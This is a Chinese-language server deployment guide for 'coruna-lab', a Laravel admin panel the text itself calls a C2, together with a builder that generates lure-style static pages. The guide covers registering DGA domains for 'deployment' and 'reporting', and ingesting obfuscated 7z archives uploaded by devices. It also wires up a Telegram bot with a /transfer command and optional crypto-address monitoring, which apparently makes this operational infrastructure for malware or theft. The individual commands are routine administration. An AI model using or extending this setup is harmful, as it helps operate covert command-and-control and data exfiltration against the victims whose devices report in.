14 KiB
宝塔部署指南(coruna-lab + channel-builder)
同机部署:Laravel 内嵌 channel-builder 直接构建产物;Admin / C2 与静态产物站对外。不再需要独立 Build API / 8081。
架构
| 角色 | 项目 / 路径 | 对外 | 进程 |
|---|---|---|---|
| C2 / Admin / 静态 | coruna-lab(public/) |
https://admin.example.com |
Nginx + PHP-FPM |
| 构建工具 | coruna-lab/channel-builder |
无(PHP Process 调用) | Python venv |
设备 / 运营
│
├─ Admin / C2 /web /sync ──► coruna-lab/public (Laravel)
│ │
│ └─ Process ──► channel-builder → public/web|sync
│ └─ state → storage/app/channel-builder
└─ DGA 域名反代到同一 public/
建议目录:
/www/wwwroot/coruna-lab/
防火墙只放行 80/443。
0. 服务器准备
软件商店安装:
- Nginx
- MySQL 8.0
- PHP 8.2+(站点选用;宝塔可多版本并存,按站点切换)
- Python 3.10+(系统或面板)
- Composer(建议 ≥ 2.2,见下文排错)
PHP 扩展:pdo_mysql、mbstring、openssl、tokenizer、xml、ctype、json、fileinfo、curl、zip、gmp
系统包:p7zip-full(或等价)、git
PHP 多版本
宝塔可同时安装多个 PHP。每个站点在「网站 → 设置 → PHP 版本」单独选择。
CLI 请显式使用对应二进制,例如:
/www/server/php/82/bin/php -v
/www/server/php/82/bin/php artisan migrate
扩展、禁用函数、php.ini 必须在该站点所用版本里配置。
PHP 运行参数(FPM / 网站)
路径:软件商店 → PHP 8.2 → 设置 → 配置修改(php.ini)
建议:
upload_max_filesize = 64M
post_max_size = 64M
max_execution_time = 600
max_input_time = 600
post_max_size≥upload_max_filesize- Admin 触发构建会同步等待 Python 脚本,超时与
.env中CORUNA_CHANNEL_BUILDER_TIMEOUT对齐(建议 ≥ 600) - CLI 查
max_execution_time常为0(不限制),属正常;以浏览器/phpinfo()的 FPM 值为准
Nginx 站点配置建议同时加大:
client_max_body_size 64m;
禁用函数:Composer / Laravel 需要 putenv;C2 解包可能需要 proc_open / exec。从 PHP「禁用函数」中移除 putenv(按需放行 proc_open)。
1. 部署 channel-builder(随 coruna-lab)
1.1 代码与依赖
cd /www/wwwroot/coruna-lab/channel-builder
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
# PHP-FPM 用户需能执行 .venv/bin/python,并写 public/ 与 storage/app/channel-builder/
chown -R www:www /www/wwwroot/coruna-lab/public /www/wwwroot/coruna-lab/storage
1.2 静态路径(写在 Admin 站点 public/)
产物默认落在 Laravel public/,与 Admin 同站即可,无需单独静态站点:
https://admin.example.com/web/<id>/support.html
https://admin.example.com/sync/daily.html
在 Admin 站点 Nginx 中优先静态命中(放在 location / 的 try_files … /index.php 之前):
location ~ "^/web/[0-9a-f]{32}/" {
try_files $uri =404;
add_header Cache-Control "public, max-age=300";
}
location /sync/ {
try_files $uri =404;
add_header Cache-Control "public, max-age=60";
}
lab_seeds.json / out/ 在 storage/app/channel-builder/,不在 web 根。
首次创建渠道后,用返回的 DGA domains.deployment / domains.reporting 注册域名,反代到同一 public/(reporting → C2)。
2. 部署 coruna-lab
2.1 站点
新建站点(如 admin.example.com):
- 根目录:
/www/wwwroot/coruna-lab/public(必须是public) - PHP:8.2+
- 伪静态:Laravel
location / {
try_files $uri $uri/ /index.php?$query_string;
}
2.2 Composer
需要 Composer ≥ 2.2(Laravel 12 要求 composer-runtime-api ^2.2)以及 ext-gmp。
# 若 /usr/bin/composer 过旧,安装新版本:
curl -sS https://getcomposer.org/installer \
| /www/server/php/82/bin/php -- --install-dir=/usr/local/bin --filename=composer
/www/server/php/82/bin/php /usr/local/bin/composer -V
cd /www/wwwroot/coruna-lab
/www/server/php/82/bin/php /usr/local/bin/composer install --no-dev --optimize-autoloader
常见错误见文末「排错」。
2.3 环境与数据库
cp .env.example .env
# 编辑 .env(见下节)
/www/server/php/82/bin/php artisan key:generate
chown -R www:www storage bootstrap/cache
chmod -R ug+rwx storage bootstrap/cache
# 宝塔创建 MySQL 库/用户后:
/www/server/php/82/bin/php artisan migrate --seed
默认后台:/admin/login(账号见 ADMIN_*,上线务必修改)。
2.4 .env 要点
APP_ENV=production
APP_DEBUG=false
APP_URL=https://admin.example.com
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=coruna
DB_USERNAME=...
DB_PASSWORD=...
ADMIN_USERNAME=admin
ADMIN_PASSWORD=改成强密码
# Session(HTTPS 单域名后台;DOMAIN 保持 null)
SESSION_DRIVER=file
SESSION_LIFETIME=120
SESSION_ENCRYPT=false
SESSION_PATH=/
SESSION_DOMAIN=null
SESSION_SECURE_COOKIE=true
SESSION_SAME_SITE=lax
# 内嵌 channel-builder(无 Build API;产物默认 public/)
CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python
# CORUNA_ARTIFACT_ROOT=/www/wwwroot/coruna-lab/public
# CORUNA_CHANNEL_STATE_ROOT=/www/wwwroot/coruna-lab/storage/app/channel-builder
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
CORUNA_STATIC_SITE_BASE_URL=https://admin.example.com
CORUNA_STATIC_SITE_SCHEME=https
# 可选:后台链接展示用(不驱动二进制补丁;DGA 域名以首次构建返回为准)
CORUNA_LAB_CHANNEL_DOMAINS=
CORUNA_REPORTING_DOMAINS=
# C2 上报 7z 解包(与 build_api 无关,仍需配置)
CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z
TELEGRAM_BOT_TOKEN=
TELEGRAM_OWNER_CHAT_ID=
# 可选;设置后注册 webhook 时会带 secret_token
TELEGRAM_WEBHOOK_SECRET=
# 勿轻易开启 NUTGRAM_SAFE_MODE(见 .env.example)
改 .env 后(登录 / Session 依赖这一步):
cd /www/wwwroot/coruna-lab
/www/server/php/82/bin/php artisan config:clear
chown -R www:www storage/framework/sessions
chmod -R ug+rwx storage/framework/sessions
# 生产可再:
# /www/server/php/82/bin/php artisan config:cache
# /www/server/php/82/bin/php artisan route:cache
# /www/server/php/82/bin/php artisan view:cache
浏览器登录前建议清掉该站 cookie。storage/framework/sessions 必须对 PHP-FPM 用户(宝塔多为 www)可写,否则后台 POST 登录易出现 419。
2.5 p7zip(C2 入库)
CORUNA_7Z_BIN 仍需要:设备 multipart 上报的混淆 7z 由 Laravel CorunaArchive 解压,与 channel-builder 无关。
Debian / Ubuntu(宝塔常见):
若 apt update 因失效源失败(例如腾讯 GitLab CE 镜像 404),先禁用:
mv /etc/apt/sources.list.d/gitlab-ce.list \
/etc/apt/sources.list.d/gitlab-ce.list.disabled
apt update
apt install -y p7zip-full
command -v 7z
拷到项目(规避 open_basedir):
cd /www/wwwroot/coruna-lab
mkdir -p bin
cp "$(command -v 7z)" bin/7z
chmod +x bin/7z
command -v 7z 为空说明未装成功或 PATH 无 7z;用 find /usr -name '7z' 2>/dev/null 定位后再 cp。
2.6 Telegram Webhook(上线必做)
Bot 入站指令(如 /transfer)依赖公网 HTTPS webhook,默认路径:
https://<APP_URL>/hooks/telegram
.env填好TELEGRAM_BOT_TOKEN、TELEGRAM_OWNER_CHAT_ID;建议设置TELEGRAM_WEBHOOK_SECRET(随机长串)APP_URL必须是对外可访问的https://admin.example.com(无尾斜杠亦可,命令会拼接路径)- 确保站点已上 SSL,Telegram 能访问该 URL
- 注册 webhook:
cd /www/wwwroot/coruna-lab
# 使用 APP_URL + /hooks/telegram
/www/server/php/82/bin/php artisan telegram:set-webhook
# 或显式指定:
/www/server/php/82/bin/php artisan telegram:set-webhook \
'https://admin.example.com/hooks/telegram'
成功输出 OK。若配置了 TELEGRAM_WEBHOOK_SECRET,命令会一并传给 Telegram secret_token;控制器按该 secret 校验。
更换域名或 token 后需重新执行本命令。
Bot 指令无响应 / getWebhookInfo 报 500
- 看 Laravel 日志是否出现
telegram webhook hit/telegram webhook failed:
tail -n 100 /www/wwwroot/coruna-lab/storage/logs/laravel.log
- 若日志完全无变化,再查 PHP-FPM / Nginx(可能未写到
laravel.log):
ls -la /www/wwwroot/coruna-lab/storage/logs/
# 宝塔常见:
tail -n 80 /www/wwwlogs/yxouw.cc.error.log
tail -n 80 /www/server/php/82/var/log/php-fpm.log
getWebhookInfo中pending_update_count > 0且last_error_message含 500:部署含「webhook 始终 ACK」的修复后,重新:
/www/server/php/82/bin/php artisan telegram:set-webhook
- 群无回复但日志有
AuthorizedChat: chat rejected:把TELEGRAM_OWNER_CHAT_ID(或后台设置)改成日志里的真实chat_id(超群多为-100...),再config:clear。
可选(地址监控):若启用 Tokenview,可另执行:
/www/server/php/82/bin/php artisan tokenview:set-webhook
# 默认 → https://<APP_URL>/hooks/tokenview
3. 联调检查清单
channel-builder/.venv/bin/python -c 'import Crypto, py7zr; print("ok")'正常- Admin 登录
https://admin.example.com/admin/login - 后台新建渠道 → 构建成功;响应含
seeds/domains(首次) - 打开静态站
/web/<id>/support.html与/sync/daily.html /web/<id>/support.html与/sync/daily.html可直接访问;seed 在 storage 不暴露- C2 上报与 7z 入库正常
telegram:set-webhook成功;Bot 能收到指令
4. 日常运维
| 动作 | 命令 / 操作 |
|---|---|
| 更新 builder | 拉代码 → channel-builder/.venv 内 pip install -r requirements.txt |
| 更新 lab | 拉代码 → composer install → artisan migrate → config:cache 等 |
| 备份 | MySQL + public/web + public/sync + storage/app/channel-builder |
| 构建超时 | 加大 CORUNA_CHANNEL_BUILDER_TIMEOUT 与 PHP max_execution_time |
当前 QUEUE_CONNECTION=sync,一般无需单独 queue worker。
5. 排错摘要
mkdir(): Permission denied at Helpers.php / public/log
C2 中间件会写 public/log/c2/Ymd.log。站点运行用户(宝塔多为 www)对 public/log 无写权限时会报错。
cd /www/wwwroot/coruna-lab
mkdir -p public/log/c2
chown -R www:www public/log storage bootstrap/cache
chmod -R ug+rwx public/log storage bootstrap/cache
同时确认网站「运行目录 / 用户」与上述属主一致。部署后建议立刻执行一次,避免首个 C2 请求踩坑。
Composer:putenv() undefined
PHP「禁用函数」含 putenv。在 PHP 8.2 设置里移除后重试。
Composer:composer-runtime-api 2.0.0 不满足 ^2.2
/usr/bin/composer 过旧。用 getcomposer.org 安装到 /usr/local/bin/composer(≥ 2.2),并用 PHP 8.2 调用。
不要用 composer update「修」这个问题——lock 本身通常没问题。
Composer:缺少 ext-gmp
软件商店 → PHP 8.2 → 安装扩展 gmp,确认:
/www/server/php/82/bin/php -m | grep -i gmp
Nginx:unknown directive "32}/(web|sync)/"
location 正则未加引号,{32} 被当成配置块。改为:
location ~ "^/web/[0-9a-f]{32}/" {
apt 因 gitlab-ce 源 404 失败
mv /etc/apt/sources.list.d/gitlab-ce.list \
/etc/apt/sources.list.d/gitlab-ce.list.disabled
apt update
cp "$(command -v 7z)" 报 cannot stat ''
未安装 7z 或不在 PATH。先装 p7zip-full 再拷贝。
CLI max_execution_time => 0
CLI 默认不限制;改网站用的 FPM php.ini 并以 phpinfo() 验证。
后台登录 HTTP 444
444 是 Nginx(宝塔防火墙 / 安全规则)直接掐连接,请求通常未进 PHP。查 Nginx/网站防火墙拦截日志,对管理 IP 或 /admin 放行后再试。
后台登录方式(改造后)
- 登录页为 Layui AJAX JSON 提交(用户名 / 密码 / 可选谷歌验证码),不再整页 form redirect
- 失败限流:同一账号+IP 约 5 次 / 60 秒
- 可选 Google Authenticator:登录后「安全 → 谷歌验证」绑定
- 部署后需执行迁移:
php artisan migrate(admins 增加 status / google_* / last_ip)
后台登录 HTTP 419(Page Expired)
请求已进 Laravel,多为 CSRF / Session。确认:
APP_URL为对外https://...,并设置SESSION_SECURE_COOKIE=true、SESSION_DOMAIN=null- 执行:
cd /www/wwwroot/coruna-lab
/www/server/php/82/bin/php artisan config:clear
chown -R www:www storage/framework/sessions
chmod -R ug+rwx storage/framework/sessions
- 浏览器清除该站 cookie 后重试
裸 curl POST /admin/login 且不带 _token / Session cookie 时出现 419 是预期行为,不能用来判断 Session 坏了。
6. 分机部署(可选)
若要把 /web /sync 拆到另一台纯静态机:
- 构建后 rsync
public/web+public/sync到静态机文档根 - 或把
CORUNA_ARTIFACT_ROOT指到共享盘,静态机 Nginx root 指向该盘 - seed 状态仍放在 lab 的
CORUNA_CHANNEL_STATE_ROOT
同机时无需拆分,Admin public/ 即静态根。